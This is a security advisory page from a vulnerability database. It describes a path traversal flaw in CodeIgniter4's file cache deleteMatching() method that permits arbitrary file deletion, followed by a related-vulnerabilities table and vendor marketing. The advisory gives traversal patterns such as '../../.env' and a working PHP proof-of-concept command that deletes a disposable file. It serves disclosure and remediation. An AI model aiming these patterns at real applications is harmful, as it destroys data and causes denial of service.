Vulnerability DatabaseGHSA-9hf2-g3w9-pfmp

GHSA-9hf2-g3w9-pfmp: 
PHP vulnerability analysis and mitigation

Summary

FileHandler::deleteMatching() does not restrict directory traversal in cache key patterns. When an application passes attacker-controlled input to this method, an attacker can delete files outside the cache directory. The impact depends on the application's exposure and the PHP process's filesystem permissions. Possible consequences include application data loss and denial of service.

Details

FileHandler::deleteMatching() concatenates the configured cache directory with $pattern and passes the result directly to glob(). Directory separators and .. segments in the pattern are resolved by glob(), so a pattern such as ../victim.txt matches a file outside the cache directory. Wildcards are also honored, e.g., ../*/* matches files in sibling directories such as writable/session/ and writable/uploads/, and ../../.env reaches the project root. The handler checks only that each match is a file. It does not verify that the file is inside the cache directory before deleting it. Unlike the handler's individual key operations, deleteMatching() does not call validateKey(), so the default reserved characters (which include / and \) are not enforced for patterns. The configured cache key prefix does not mitigate the issue because this implementation does not apply the prefix to the pattern.

Proof of concept

The following steps reproduce the issue using a disposable file created under the framework's WRITEPATH. The command removes only that file during cleanup. Clone the affected version and install its dependencies:

git clone --branch v4.7.5 --depth 1 \
    https://github.com/codeigniter4/CodeIgniter4.git ci4-cache-poc
cd ci4-cache-poc
composer install

Create the file:

app/Commands/CacheTraversalProof.php

with the following contents:

<?php
declare(strict_types=1);
namespace App\Commands;
use CodeIgniter\Cache\CacheFactory;
use CodeIgniter\CLI\BaseCommand;
use CodeIgniter\CLI\CLI;
use Config\Cache;
class CacheTraversalProof extends BaseCommand
{
    protected $group = 'Security';
    protected $name = 'security:ctp';
    protected $description = 'Demonstrates file cache path traversal with a disposable file.';
    public function run(array $params): int
    {
        $cacheDir = WRITEPATH . 'cache/';
        $victim   = tempnam(WRITEPATH, 'ci4-cache-poc-');
        if ($victim === false) {
            CLI::error('Could not create the proof-of-concept file.');
            return EXIT_ERROR;
        }
        if (realpath(dirname($victim)) !== realpath(WRITEPATH)) {
            unlink($victim);
            CLI::error('The proof-of-concept file was not created under WRITEPATH.');
            return EXIT_ERROR;
        }
        try {
            $config = new Cache();
            $config->handler = 'file';
            $config->prefix = '';
            $config->file['storePath'] = $cacheDir;
            $cache = CacheFactory::getHandler($config, 'file');
            CLI::write('Before: ' . (is_file($victim) ? 'exists' : 'missing'));
            $deleted = $cache->deleteMatching('../' . basename($victim));
            clearstatcache(true, $victim);
            CLI::write('Deleted: ' . $deleted);
            CLI::write('After: ' . (is_file($victim) ? 'exists' : 'missing'));
        } finally {
            if (file_exists($victim)) {
                unlink($victim);
            }
        }
        return EXIT_SUCCESS;
    }
}

Run the command from the repository root:

php spark security:ctp

Expected output on the vulnerable version:

Before: exists
Deleted: 1
After: missing

The file is created directly under WRITEPATH, outside the configured cache directory WRITEPATH/cache/. Nevertheless, the pattern ../<filename> causes FileHandler::deleteMatching() to delete it.

Impact

This is a path traversal vulnerability leading to arbitrary file deletion, classified as CWE-22. Applications are affected when they:

  • Use the File cache handler, either directly or as a fallback.
  • Allow attacker-controlled input to reach deleteMatching(), directly or within a constructed pattern. The File handler is the default cache handler. Exploitation requires an application code path that exposes control over the deletion pattern. Applications using fixed, trusted patterns, not controlled by the users, are not exposed to this attack.

Source: NVD

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-25rf-99hr-7pmrHIGH8.1
  • PHP logoPHP
  • codeigniter4/framework
NoYesNov 01, 2026
GHSA-jv74-fx4h-m63xMEDIUM6.5
  • PHP logoPHP
  • codeigniter4/framework
NoYesNov 01, 2026
GHSA-9hf2-g3w9-pfmpMEDIUM6.5
  • PHP logoPHP
  • codeigniter4/framework
NoYesNov 01, 2026
GHSA-9j59-qcxw-q7qmMEDIUM4.8
  • PHP logoPHP
  • codeigniter4/framework
NoYesNov 01, 2026
GHSA-rqmg-p367-f63rMEDIUM4.3
  • PHP logoPHP
  • power-components/turbine
NoYesOct 31, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management